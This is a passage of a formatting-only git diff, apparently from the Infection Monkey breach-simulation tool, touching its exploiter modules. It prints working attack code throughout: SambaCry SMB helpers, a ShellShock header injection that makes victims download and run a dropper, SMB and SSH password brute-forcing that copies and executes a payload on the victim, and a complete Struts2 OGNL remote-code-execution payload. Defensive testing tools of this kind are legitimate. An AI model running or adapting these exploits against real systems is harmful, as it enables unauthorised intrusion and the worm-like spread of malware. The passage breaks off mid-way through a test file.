credentials["ntlm_hash"],
|
credentials["ntlm_hash"],
|
||||||
)
|
)
|
||||||
return smb_client
|
return smb_client
|
||||||
|
|
||||||
|
@ -458,18 +456,18 @@ class SambaCryExploiter(HostExploiter):
|
||||||
# vulnerability #
|
# vulnerability #
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def create_smb(
|
def create_smb(
|
||||||
smb_client,
|
smb_client,
|
||||||
treeId,
|
treeId,
|
||||||
fileName,
|
fileName,
|
||||||
desiredAccess,
|
desiredAccess,
|
||||||
shareMode,
|
shareMode,
|
||||||
creationOptions,
|
creationOptions,
|
||||||
creationDisposition,
|
creationDisposition,
|
||||||
fileAttributes,
|
fileAttributes,
|
||||||
impersonationLevel=SMB2_IL_IMPERSONATION,
|
impersonationLevel=SMB2_IL_IMPERSONATION,
|
||||||
securityFlags=0,
|
securityFlags=0,
|
||||||
oplockLevel=SMB2_OPLOCK_LEVEL_NONE,
|
oplockLevel=SMB2_OPLOCK_LEVEL_NONE,
|
||||||
createContexts=None,
|
createContexts=None,
|
||||||
):
|
):
|
||||||
|
|
||||||
packet = smb_client.getSMBServer().SMB_PACKET()
|
packet = smb_client.getSMBServer().SMB_PACKET()
|
||||||
|
@ -497,7 +495,7 @@ class SambaCryExploiter(HostExploiter):
|
||||||
if createContexts is not None:
|
if createContexts is not None:
|
||||||
smb2Create["Buffer"] += createContexts
|
smb2Create["Buffer"] += createContexts
|
||||||
smb2Create["CreateContextsOffset"] = (
|
smb2Create["CreateContextsOffset"] = (
|
||||||
len(SMB2Packet()) + SMB2Create.SIZE + smb2Create["NameLength"]
|
len(SMB2Packet()) + SMB2Create.SIZE + smb2Create["NameLength"]
|
||||||
)
|
)
|
||||||
smb2Create["CreateContextsLength"] = len(createContexts)
|
smb2Create["CreateContextsLength"] = len(createContexts)
|
||||||
else:
|
else:
|
||||||
|
@ -549,12 +547,12 @@ class SambaCryExploiter(HostExploiter):
|
||||||
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
|
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
|
||||||
else:
|
else:
|
||||||
return SambaCryExploiter.create_smb(
|
return SambaCryExploiter.create_smb(
|
||||||
smb_client,
|
smb_client,
|
||||||
treeId,
|
treeId,
|
||||||
pathName,
|
pathName,
|
||||||
desiredAccess=FILE_READ_DATA,
|
desiredAccess=FILE_READ_DATA,
|
||||||
shareMode=FILE_SHARE_READ,
|
shareMode=FILE_SHARE_READ,
|
||||||
creationOptions=FILE_OPEN,
|
creationOptions=FILE_OPEN,
|
||||||
creationDisposition=FILE_NON_DIRECTORY_FILE,
|
creationDisposition=FILE_NON_DIRECTORY_FILE,
|
||||||
fileAttributes=0,
|
fileAttributes=0,
|
||||||
)
|
)
|
||||||
|
|
|
@ -29,7 +29,7 @@ LOCK_HELPER_FILE = "/tmp/monkey_shellshock"
|
||||||
|
|
||||||
|
|
||||||
class ShellShockExploiter(HostExploiter):
|
class ShellShockExploiter(HostExploiter):
|
||||||
_attacks = {"Content-type":"() { :;}; echo; "}
|
_attacks = {"Content-type": "() { :;}; echo; "}
|
||||||
|
|
||||||
_TARGET_OS_TYPE = ["linux"]
|
_TARGET_OS_TYPE = ["linux"]
|
||||||
_EXPLOITED_SERVICE = "Bash"
|
_EXPLOITED_SERVICE = "Bash"
|
||||||
|
@ -38,17 +38,17 @@ class ShellShockExploiter(HostExploiter):
|
||||||
super(ShellShockExploiter, self).__init__(host)
|
super(ShellShockExploiter, self).__init__(host)
|
||||||
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
|
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
|
||||||
self.success_flag = "".join(
|
self.success_flag = "".join(
|
||||||
choice(string.ascii_uppercase + string.digits) for _ in range(20)
|
choice(string.ascii_uppercase + string.digits) for _ in range(20)
|
||||||
)
|
)
|
||||||
self.skip_exist = self._config.skip_exploit_if_file_exist
|
self.skip_exist = self._config.skip_exploit_if_file_exist
|
||||||
|
|
||||||
def _exploit_host(self):
|
def _exploit_host(self):
|
||||||
# start by picking ports
|
# start by picking ports
|
||||||
candidate_services = {
|
candidate_services = {
|
||||||
service:self.host.services[service]
|
service: self.host.services[service]
|
||||||
for service in self.host.services
|
for service in self.host.services
|
||||||
if ("name" in self.host.services[service])
|
if ("name" in self.host.services[service])
|
||||||
and (self.host.services[service]["name"] == "http")
|
and (self.host.services[service]["name"] == "http")
|
||||||
}
|
}
|
||||||
|
|
||||||
valid_ports = [
|
valid_ports = [
|
||||||
|
@ -60,8 +60,8 @@ class ShellShockExploiter(HostExploiter):
|
||||||
https_ports = [port[0] for port in valid_ports if port[1]]
|
https_ports = [port[0] for port in valid_ports if port[1]]
|
||||||
|
|
||||||
LOG.info(
|
LOG.info(
|
||||||
"Scanning %s, ports [%s] for vulnerable CGI pages"
|
"Scanning %s, ports [%s] for vulnerable CGI pages"
|
||||||
% (self.host, ",".join([str(port[0]) for port in valid_ports]))
|
% (self.host, ",".join([str(port[0]) for port in valid_ports]))
|
||||||
)
|
)
|
||||||
|
|
||||||
attackable_urls = []
|
attackable_urls = []
|
||||||
|
@ -104,18 +104,18 @@ class ShellShockExploiter(HostExploiter):
|
||||||
self.host.os["machine"] = uname_machine.lower().strip()
|
self.host.os["machine"] = uname_machine.lower().strip()
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.debug(
|
LOG.debug(
|
||||||
"Error running uname machine command on victim %r: (%s)", self.host, exc
|
"Error running uname machine command on victim %r: (%s)", self.host, exc
|
||||||
)
|
)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
# copy the monkey
|
# copy the monkey
|
||||||
dropper_target_path_linux = self._config.dropper_target_path_linux
|
dropper_target_path_linux = self._config.dropper_target_path_linux
|
||||||
if self.skip_exist and (
|
if self.skip_exist and (
|
||||||
self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)
|
self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)
|
||||||
):
|
):
|
||||||
LOG.info(
|
LOG.info(
|
||||||
"Host %s was already infected under the current configuration, "
|
"Host %s was already infected under the current configuration, "
|
||||||
"done" % self.host
|
"done" % self.host
|
||||||
)
|
)
|
||||||
return True # return already infected
|
return True # return already infected
|
||||||
|
|
||||||
|
@ -138,7 +138,7 @@ class ShellShockExploiter(HostExploiter):
|
||||||
|
|
||||||
download = exploit + download_command
|
download = exploit + download_command
|
||||||
self.attack_page(
|
self.attack_page(
|
||||||
url, header, download
|
url, header, download
|
||||||
) # we ignore failures here since it might take more than TIMEOUT time
|
) # we ignore failures here since it might take more than TIMEOUT time
|
||||||
|
|
||||||
http_thread.join(DOWNLOAD_TIMEOUT)
|
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||||
|
@ -147,10 +147,10 @@ class ShellShockExploiter(HostExploiter):
|
||||||
self._remove_lock_file(exploit, url, header)
|
self._remove_lock_file(exploit, url, header)
|
||||||
|
|
||||||
if (http_thread.downloads != 1) or (
|
if (http_thread.downloads != 1) or (
|
||||||
"ELF"
|
"ELF"
|
||||||
not in self.check_remote_file_exists(
|
not in self.check_remote_file_exists(
|
||||||
url, header, exploit, dropper_target_path_linux
|
url, header, exploit, dropper_target_path_linux
|
||||||
)
|
)
|
||||||
):
|
):
|
||||||
LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
|
LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
|
||||||
continue
|
continue
|
||||||
|
@ -164,26 +164,26 @@ class ShellShockExploiter(HostExploiter):
|
||||||
# run the monkey
|
# run the monkey
|
||||||
cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
|
cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
|
||||||
cmdline += build_monkey_commandline(
|
cmdline += build_monkey_commandline(
|
||||||
self.host,
|
self.host,
|
||||||
get_monkey_depth() - 1,
|
get_monkey_depth() - 1,
|
||||||
HTTPTools.get_port_from_url(url),
|
HTTPTools.get_port_from_url(url),
|
||||||
dropper_target_path_linux,
|
dropper_target_path_linux,
|
||||||
)
|
)
|
||||||
cmdline += " & "
|
cmdline += " & "
|
||||||
run_path = exploit + cmdline
|
run_path = exploit + cmdline
|
||||||
self.attack_page(url, header, run_path)
|
self.attack_page(url, header, run_path)
|
||||||
|
|
||||||
LOG.info(
|
LOG.info(
|
||||||
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||||
self._config.dropper_target_path_linux,
|
self._config.dropper_target_path_linux,
|
||||||
self.host,
|
self.host,
|
||||||
cmdline,
|
cmdline,
|
||||||
)
|
)
|
||||||
|
|
||||||
if not (
|
if not (
|
||||||
self.check_remote_file_exists(
|
self.check_remote_file_exists(
|
||||||
url, header, exploit, self._config.monkey_log_path_linux
|
url, header, exploit, self._config.monkey_log_path_linux
|
||||||
)
|
)
|
||||||
):
|
):
|
||||||
LOG.info("Log file does not exist, monkey might not have run")
|
LOG.info("Log file does not exist, monkey might not have run")
|
||||||
continue
|
continue
|
||||||
|
@ -243,7 +243,7 @@ class ShellShockExploiter(HostExploiter):
|
||||||
LOG.debug("Header is: %s" % header)
|
LOG.debug("Header is: %s" % header)
|
||||||
LOG.debug("Attack is: %s" % attack)
|
LOG.debug("Attack is: %s" % attack)
|
||||||
r = requests.get(
|
r = requests.get(
|
||||||
url, headers={header:attack}, verify=False, timeout=TIMEOUT
|
url, headers={header: attack}, verify=False, timeout=TIMEOUT
|
||||||
) # noqa: DUO123
|
) # noqa: DUO123
|
||||||
result = r.content.decode()
|
result = r.content.decode()
|
||||||
return result
|
return result
|
||||||
|
@ -272,8 +272,8 @@ class ShellShockExploiter(HostExploiter):
|
||||||
break
|
break
|
||||||
if timeout:
|
if timeout:
|
||||||
LOG.debug(
|
LOG.debug(
|
||||||
"Some connections timed out while sending request to potentially vulnerable "
|
"Some connections timed out while sending request to potentially vulnerable "
|
||||||
"urls."
|
"urls."
|
||||||
)
|
)
|
||||||
valid_resps = [req for req in reqs if req and req.status_code == requests.codes.ok]
|
valid_resps = [req for req in reqs if req and req.status_code == requests.codes.ok]
|
||||||
urls = [resp.url for resp in valid_resps]
|
urls = [resp.url for resp in valid_resps]
|
||||||
|
|
|
@ -24,8 +24,8 @@ class SmbExploiter(HostExploiter):
|
||||||
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
||||||
_EXPLOITED_SERVICE = "SMB"
|
_EXPLOITED_SERVICE = "SMB"
|
||||||
KNOWN_PROTOCOLS = {
|
KNOWN_PROTOCOLS = {
|
||||||
"139/SMB":(r"ncacn_np:%s[\pipe\svcctl]", 139),
|
"139/SMB": (r"ncacn_np:%s[\pipe\svcctl]", 139),
|
||||||
"445/SMB":(r"ncacn_np:%s[\pipe\svcctl]", 445),
|
"445/SMB": (r"ncacn_np:%s[\pipe\svcctl]", 445),
|
||||||
}
|
}
|
||||||
USE_KERBEROS = False
|
USE_KERBEROS = False
|
||||||
|
|
||||||
|
@ -63,33 +63,33 @@ class SmbExploiter(HostExploiter):
|
||||||
try:
|
try:
|
||||||
# copy the file remotely using SMB
|
# copy the file remotely using SMB
|
||||||
remote_full_path = SmbTools.copy_file(
|
remote_full_path = SmbTools.copy_file(
|
||||||
self.host,
|
self.host,
|
||||||
src_path,
|
src_path,
|
||||||
self._config.dropper_target_path_win_32,
|
self._config.dropper_target_path_win_32,
|
||||||
user,
|
user,
|
||||||
password,
|
password,
|
||||||
lm_hash,
|
lm_hash,
|
||||||
ntlm_hash,
|
ntlm_hash,
|
||||||
self._config.smb_download_timeout,
|
self._config.smb_download_timeout,
|
||||||
)
|
)
|
||||||
|
|
||||||
if remote_full_path is not None:
|
if remote_full_path is not None:
|
||||||
LOG.debug(
|
LOG.debug(
|
||||||
"Successfully logged in %r using SMB (%s : (SHA-512) %s : (SHA-512) "
|
"Successfully logged in %r using SMB (%s : (SHA-512) %s : (SHA-512) "
|
||||||
"%s : (SHA-512) %s)",
|
"%s : (SHA-512) %s)",
|
||||||
self.host,
|
self.host,
|
||||||
user,
|
user,
|
||||||
self._config.hash_sensitive_data(password),
|
self._config.hash_sensitive_data(password),
|
||||||
self._config.hash_sensitive_data(lm_hash),
|
self._config.hash_sensitive_data(lm_hash),
|
||||||
self._config.hash_sensitive_data(ntlm_hash),
|
self._config.hash_sensitive_data(ntlm_hash),
|
||||||
)
|
)
|
||||||
self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
|
self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
|
||||||
self.add_vuln_port(
|
self.add_vuln_port(
|
||||||
"%s or %s"
|
"%s or %s"
|
||||||
% (
|
% (
|
||||||
SmbExploiter.KNOWN_PROTOCOLS["139/SMB"][1],
|
SmbExploiter.KNOWN_PROTOCOLS["139/SMB"][1],
|
||||||
SmbExploiter.KNOWN_PROTOCOLS["445/SMB"][1],
|
SmbExploiter.KNOWN_PROTOCOLS["445/SMB"][1],
|
||||||
)
|
)
|
||||||
)
|
)
|
||||||
exploited = True
|
exploited = True
|
||||||
break
|
break
|
||||||
|
@ -99,15 +99,15 @@ class SmbExploiter(HostExploiter):
|
||||||
|
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.debug(
|
LOG.debug(
|
||||||
"Exception when trying to copy file using SMB to %r with user:"
|
"Exception when trying to copy file using SMB to %r with user:"
|
||||||
" %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash ("
|
" %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash ("
|
||||||
"SHA-512): %s: (%s)",
|
"SHA-512): %s: (%s)",
|
||||||
self.host,
|
self.host,
|
||||||
user,
|
user,
|
||||||
self._config.hash_sensitive_data(password),
|
self._config.hash_sensitive_data(password),
|
||||||
self._config.hash_sensitive_data(lm_hash),
|
self._config.hash_sensitive_data(lm_hash),
|
||||||
self._config.hash_sensitive_data(ntlm_hash),
|
self._config.hash_sensitive_data(ntlm_hash),
|
||||||
exc,
|
exc,
|
||||||
)
|
)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
|
@ -119,18 +119,18 @@ class SmbExploiter(HostExploiter):
|
||||||
# execute the remote dropper in case the path isn't final
|
# execute the remote dropper in case the path isn't final
|
||||||
if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
|
if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
|
||||||
cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {
|
cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {
|
||||||
"dropper_path":remote_full_path
|
"dropper_path": remote_full_path
|
||||||
} + build_monkey_commandline(
|
} + build_monkey_commandline(
|
||||||
self.host,
|
self.host,
|
||||||
get_monkey_depth() - 1,
|
get_monkey_depth() - 1,
|
||||||
self.vulnerable_port,
|
self.vulnerable_port,
|
||||||
self._config.dropper_target_path_win_32,
|
self._config.dropper_target_path_win_32,
|
||||||
)
|
)
|
||||||
else:
|
else:
|
||||||
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {
|
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {
|
||||||
"monkey_path":remote_full_path
|
"monkey_path": remote_full_path
|
||||||
} + build_monkey_commandline(
|
} + build_monkey_commandline(
|
||||||
self.host, get_monkey_depth() - 1, vulnerable_port=self.vulnerable_port
|
self.host, get_monkey_depth() - 1, vulnerable_port=self.vulnerable_port
|
||||||
)
|
)
|
||||||
|
|
||||||
smb_conn = False
|
smb_conn = False
|
||||||
|
@ -149,10 +149,10 @@ class SmbExploiter(HostExploiter):
|
||||||
scmr_rpc.connect()
|
scmr_rpc.connect()
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.debug(
|
LOG.debug(
|
||||||
"Can't connect to SCM on exploited machine %r port %s : %s",
|
"Can't connect to SCM on exploited machine %r port %s : %s",
|
||||||
self.host,
|
self.host,
|
||||||
port,
|
port,
|
||||||
exc,
|
exc,
|
||||||
)
|
)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
|
@ -169,11 +169,11 @@ class SmbExploiter(HostExploiter):
|
||||||
|
|
||||||
# start the monkey using the SCM
|
# start the monkey using the SCM
|
||||||
resp = scmr.hRCreateServiceW(
|
resp = scmr.hRCreateServiceW(
|
||||||
scmr_rpc,
|
scmr_rpc,
|
||||||
sc_handle,
|
sc_handle,
|
||||||
self._config.smb_service_name,
|
self._config.smb_service_name,
|
||||||
self._config.smb_service_name,
|
self._config.smb_service_name,
|
||||||
lpBinaryPathName=cmdline,
|
lpBinaryPathName=cmdline,
|
||||||
)
|
)
|
||||||
service = resp["lpServiceHandle"]
|
service = resp["lpServiceHandle"]
|
||||||
try:
|
try:
|
||||||
|
@ -187,18 +187,18 @@ class SmbExploiter(HostExploiter):
|
||||||
scmr.hRCloseServiceHandle(scmr_rpc, service)
|
scmr.hRCloseServiceHandle(scmr_rpc, service)
|
||||||
|
|
||||||
LOG.info(
|
LOG.info(
|
||||||
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||||
remote_full_path,
|
remote_full_path,
|
||||||
self.host,
|
self.host,
|
||||||
cmdline,
|
cmdline,
|
||||||
)
|
)
|
||||||
|
|
||||||
self.add_vuln_port(
|
self.add_vuln_port(
|
||||||
"%s or %s"
|
"%s or %s"
|
||||||
% (
|
% (
|
||||||
SmbExploiter.KNOWN_PROTOCOLS["139/SMB"][1],
|
SmbExploiter.KNOWN_PROTOCOLS["139/SMB"][1],
|
||||||
SmbExploiter.KNOWN_PROTOCOLS["445/SMB"][1],
|
SmbExploiter.KNOWN_PROTOCOLS["445/SMB"][1],
|
||||||
)
|
)
|
||||||
)
|
)
|
||||||
return True
|
return True
|
||||||
|
|
||||||
|
|
|
@ -58,15 +58,14 @@ class SSHExploiter(HostExploiter):
|
||||||
try:
|
try:
|
||||||
ssh.connect(self.host.ip_addr, username=user, pkey=pkey, port=port)
|
ssh.connect(self.host.ip_addr, username=user, pkey=pkey, port=port)
|
||||||
LOG.debug(
|
LOG.debug(
|
||||||
"Successfully logged in %s using %s users private key", self.host,
|
"Successfully logged in %s using %s users private key", self.host, ssh_string
|
||||||
ssh_string
|
|
||||||
)
|
)
|
||||||
self.report_login_attempt(True, user, ssh_key=ssh_string)
|
self.report_login_attempt(True, user, ssh_key=ssh_string)
|
||||||
return ssh
|
return ssh
|
||||||
except Exception:
|
except Exception:
|
||||||
ssh.close()
|
ssh.close()
|
||||||
LOG.debug(
|
LOG.debug(
|
||||||
"Error logging into victim %r with %s" " private key", self.host, ssh_string
|
"Error logging into victim %r with %s" " private key", self.host, ssh_string
|
||||||
)
|
)
|
||||||
self.report_login_attempt(False, user, ssh_key=ssh_string)
|
self.report_login_attempt(False, user, ssh_key=ssh_string)
|
||||||
continue
|
continue
|
||||||
|
@ -83,10 +82,10 @@ class SSHExploiter(HostExploiter):
|
||||||
ssh.connect(self.host.ip_addr, username=user, password=current_password, port=port)
|
ssh.connect(self.host.ip_addr, username=user, password=current_password, port=port)
|
||||||
|
|
||||||
LOG.debug(
|
LOG.debug(
|
||||||
"Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)",
|
"Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)",
|
||||||
self.host,
|
self.host,
|
||||||
user,
|
user,
|
||||||
self._config.hash_sensitive_data(current_password),
|
self._config.hash_sensitive_data(current_password),
|
||||||
)
|
)
|
||||||
self.add_vuln_port(port)
|
self.add_vuln_port(port)
|
||||||
self.report_login_attempt(True, user, current_password)
|
self.report_login_attempt(True, user, current_password)
|
||||||
|
@ -94,12 +93,12 @@ class SSHExploiter(HostExploiter):
|
||||||
|
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.debug(
|
LOG.debug(
|
||||||
"Error logging into victim %r with user"
|
"Error logging into victim %r with user"
|
||||||
" %s and password (SHA-512) '%s': (%s)",
|
" %s and password (SHA-512) '%s': (%s)",
|
||||||
self.host,
|
self.host,
|
||||||
user,
|
user,
|
||||||
self._config.hash_sensitive_data(current_password),
|
self._config.hash_sensitive_data(current_password),
|
||||||
exc,
|
exc,
|
||||||
)
|
)
|
||||||
self.report_login_attempt(False, user, current_password)
|
self.report_login_attempt(False, user, current_password)
|
||||||
ssh.close()
|
ssh.close()
|
||||||
|
@ -152,14 +151,14 @@ class SSHExploiter(HostExploiter):
|
||||||
|
|
||||||
if self.skip_exist:
|
if self.skip_exist:
|
||||||
_, stdout, stderr = ssh.exec_command(
|
_, stdout, stderr = ssh.exec_command(
|
||||||
"head -c 1 %s" % self._config.dropper_target_path_linux
|
"head -c 1 %s" % self._config.dropper_target_path_linux
|
||||||
)
|
)
|
||||||
stdout_res = stdout.read().strip()
|
stdout_res = stdout.read().strip()
|
||||||
if stdout_res:
|
if stdout_res:
|
||||||
# file exists
|
# file exists
|
||||||
LOG.info(
|
LOG.info(
|
||||||
"Host %s was already infected under the current configuration, "
|
"Host %s was already infected under the current configuration, "
|
||||||
"done" % self.host
|
"done" % self.host
|
||||||
)
|
)
|
||||||
return True # return already infected
|
return True # return already infected
|
||||||
|
|
||||||
|
@ -175,17 +174,17 @@ class SSHExploiter(HostExploiter):
|
||||||
self._update_timestamp = time.time()
|
self._update_timestamp = time.time()
|
||||||
with monkeyfs.open(src_path) as file_obj:
|
with monkeyfs.open(src_path) as file_obj:
|
||||||
ftp.putfo(
|
ftp.putfo(
|
||||||
file_obj,
|
file_obj,
|
||||||
self._config.dropper_target_path_linux,
|
self._config.dropper_target_path_linux,
|
||||||
file_size=monkeyfs.getsize(src_path),
|
file_size=monkeyfs.getsize(src_path),
|
||||||
callback=self.log_transfer,
|
callback=self.log_transfer,
|
||||||
)
|
)
|
||||||
ftp.chmod(self._config.dropper_target_path_linux, 0o777)
|
ftp.chmod(self._config.dropper_target_path_linux, 0o777)
|
||||||
status = ScanStatus.USED
|
status = ScanStatus.USED
|
||||||
T1222Telem(
|
T1222Telem(
|
||||||
ScanStatus.USED,
|
ScanStatus.USED,
|
||||||
"chmod 0777 %s" % self._config.dropper_target_path_linux,
|
"chmod 0777 %s" % self._config.dropper_target_path_linux,
|
||||||
self.host,
|
self.host,
|
||||||
).send()
|
).send()
|
||||||
ftp.close()
|
ftp.close()
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
|
@ -193,7 +192,7 @@ class SSHExploiter(HostExploiter):
|
||||||
status = ScanStatus.SCANNED
|
status = ScanStatus.SCANNED
|
||||||
|
|
||||||
T1105Telem(
|
T1105Telem(
|
||||||
status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path
|
status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path
|
||||||
).send()
|
).send()
|
||||||
if status == ScanStatus.SCANNED:
|
if status == ScanStatus.SCANNED:
|
||||||
return False
|
return False
|
||||||
|
@ -201,16 +200,16 @@ class SSHExploiter(HostExploiter):
|
||||||
try:
|
try:
|
||||||
cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG)
|
cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG)
|
||||||
cmdline += build_monkey_commandline(
|
cmdline += build_monkey_commandline(
|
||||||
self.host, get_monkey_depth() - 1, vulnerable_port=SSH_PORT
|
self.host, get_monkey_depth() - 1, vulnerable_port=SSH_PORT
|
||||||
)
|
)
|
||||||
cmdline += " > /dev/null 2>&1 &"
|
cmdline += " > /dev/null 2>&1 &"
|
||||||
ssh.exec_command(cmdline)
|
ssh.exec_command(cmdline)
|
||||||
|
|
||||||
LOG.info(
|
LOG.info(
|
||||||
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||||
self._config.dropper_target_path_linux,
|
self._config.dropper_target_path_linux,
|
||||||
self.host,
|
self.host,
|
||||||
cmdline,
|
cmdline,
|
||||||
)
|
)
|
||||||
|
|
||||||
ssh.close()
|
ssh.close()
|
||||||
|
|
|
@ -48,11 +48,11 @@ class Struts2Exploiter(WebRCE):
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_redirected(url):
|
def get_redirected(url):
|
||||||
# Returns false if url is not right
|
# Returns false if url is not right
|
||||||
headers = {"User-Agent":"Mozilla/5.0"}
|
headers = {"User-Agent": "Mozilla/5.0"}
|
||||||
request = urllib.request.Request(url, headers=headers)
|
request = urllib.request.Request(url, headers=headers)
|
||||||
try:
|
try:
|
||||||
return urllib.request.urlopen(
|
return urllib.request.urlopen(
|
||||||
request, context=ssl._create_unverified_context()
|
request, context=ssl._create_unverified_context()
|
||||||
).geturl()
|
).geturl()
|
||||||
except urllib.error.URLError:
|
except urllib.error.URLError:
|
||||||
LOG.error("Can't reach struts2 server")
|
LOG.error("Can't reach struts2 server")
|
||||||
|
@ -67,25 +67,25 @@ class Struts2Exploiter(WebRCE):
|
||||||
cmd = re.sub(r"\\", r"\\\\", cmd)
|
cmd = re.sub(r"\\", r"\\\\", cmd)
|
||||||
cmd = re.sub(r"'", r"\\'", cmd)
|
cmd = re.sub(r"'", r"\\'", cmd)
|
||||||
payload = (
|
payload = (
|
||||||
"%%{(#_='multipart/form-data')."
|
"%%{(#_='multipart/form-data')."
|
||||||
"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
|
"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
|
||||||
"(#_memberAccess?"
|
"(#_memberAccess?"
|
||||||
"(#_memberAccess=#dm):"
|
"(#_memberAccess=#dm):"
|
||||||
"((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
|
"((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
|
||||||
"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
|
"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
|
||||||
"(#ognlUtil.getExcludedPackageNames().clear())."
|
"(#ognlUtil.getExcludedPackageNames().clear())."
|
||||||
"(#ognlUtil.getExcludedClasses().clear())."
|
"(#ognlUtil.getExcludedClasses().clear())."
|
||||||
"(#context.setMemberAccess(#dm))))."
|
"(#context.setMemberAccess(#dm))))."
|
||||||
"(#cmd='%s')."
|
"(#cmd='%s')."
|
||||||
"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
|
"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
|
||||||
"(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
|
"(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
|
||||||
"(#p=new java.lang.ProcessBuilder(#cmds))."
|
"(#p=new java.lang.ProcessBuilder(#cmds))."
|
||||||
"(#p.redirectErrorStream(true)).(#process=#p.start())."
|
"(#p.redirectErrorStream(true)).(#process=#p.start())."
|
||||||
"(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
|
"(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
|
||||||
"(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
|
"(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
|
||||||
"(#ros.flush())}" % cmd
|
"(#ros.flush())}" % cmd
|
||||||
)
|
)
|
||||||
headers = {"User-Agent":"Mozilla/5.0", "Content-Type":payload}
|
headers = {"User-Agent": "Mozilla/5.0", "Content-Type": payload}
|
||||||
try:
|
try:
|
||||||
request = urllib.request.Request(url, headers=headers)
|
request = urllib.request.Request(url, headers=headers)
|
||||||
# Timeout added or else we would wait for all monkeys' output
|
# Timeout added or else we would wait for all monkeys' output
|
||||||
|
|
|
@ -26,28 +26,28 @@ def zerologon_exploiter_object(monkeypatch):
|
||||||
|
|
||||||
|
|
||||||
def test_assess_exploit_attempt_result_no_error(zerologon_exploiter_object):
|
def test_assess_exploit_attempt_result_no_error(zerologon_exploiter_object):
|
||||||
dummy_exploit_attempt_result = {"ErrorCode":0}
|
dummy_exploit_attempt_result = {"ErrorCode": 0}
|
||||||
assert zerologon_exploiter_object.assess_exploit_attempt_result(dummy_exploit_attempt_result)
|
assert zerologon_exploiter_object.assess_exploit_attempt_result(dummy_exploit_attempt_result)
|
||||||
|
|
||||||
|
|
||||||
def test_assess_exploit_attempt_result_with_error(zerologon_exploiter_object):
|
def test_assess_exploit_attempt_result_with_error(zerologon_exploiter_object):
|
||||||
dummy_exploit_attempt_result = {"ErrorCode":1}
|
dummy_exploit_attempt_result = {"ErrorCode": 1}
|
||||||
assert not zerologon_exploiter_object.assess_exploit_attempt_result(
|
assert not zerologon_exploiter_object.assess_exploit_attempt_result(
|
||||||
dummy_exploit_attempt_result
|
dummy_exploit_attempt_result
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
def test_assess_restoration_attempt_result_restored(zerologon_exploiter_object):
|
def test_assess_restoration_attempt_result_restored(zerologon_exploiter_object):
|
||||||
dummy_restoration_attempt_result = object()
|
dummy_restoration_attempt_result = object()
|
||||||
assert zerologon_exploiter_object.assess_restoration_attempt_result(
|
assert zerologon_exploiter_object.assess_restoration_attempt_result(
|
||||||
dummy_restoration_attempt_result
|
dummy_restoration_attempt_result
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
def test_assess_restoration_attempt_result_not_restored(zerologon_exploiter_object):
|
def test_assess_restoration_attempt_result_not_restored(zerologon_exploiter_object):
|
||||||
dummy_restoration_attempt_result = False
|
dummy_restoration_attempt_result = False
|
||||||
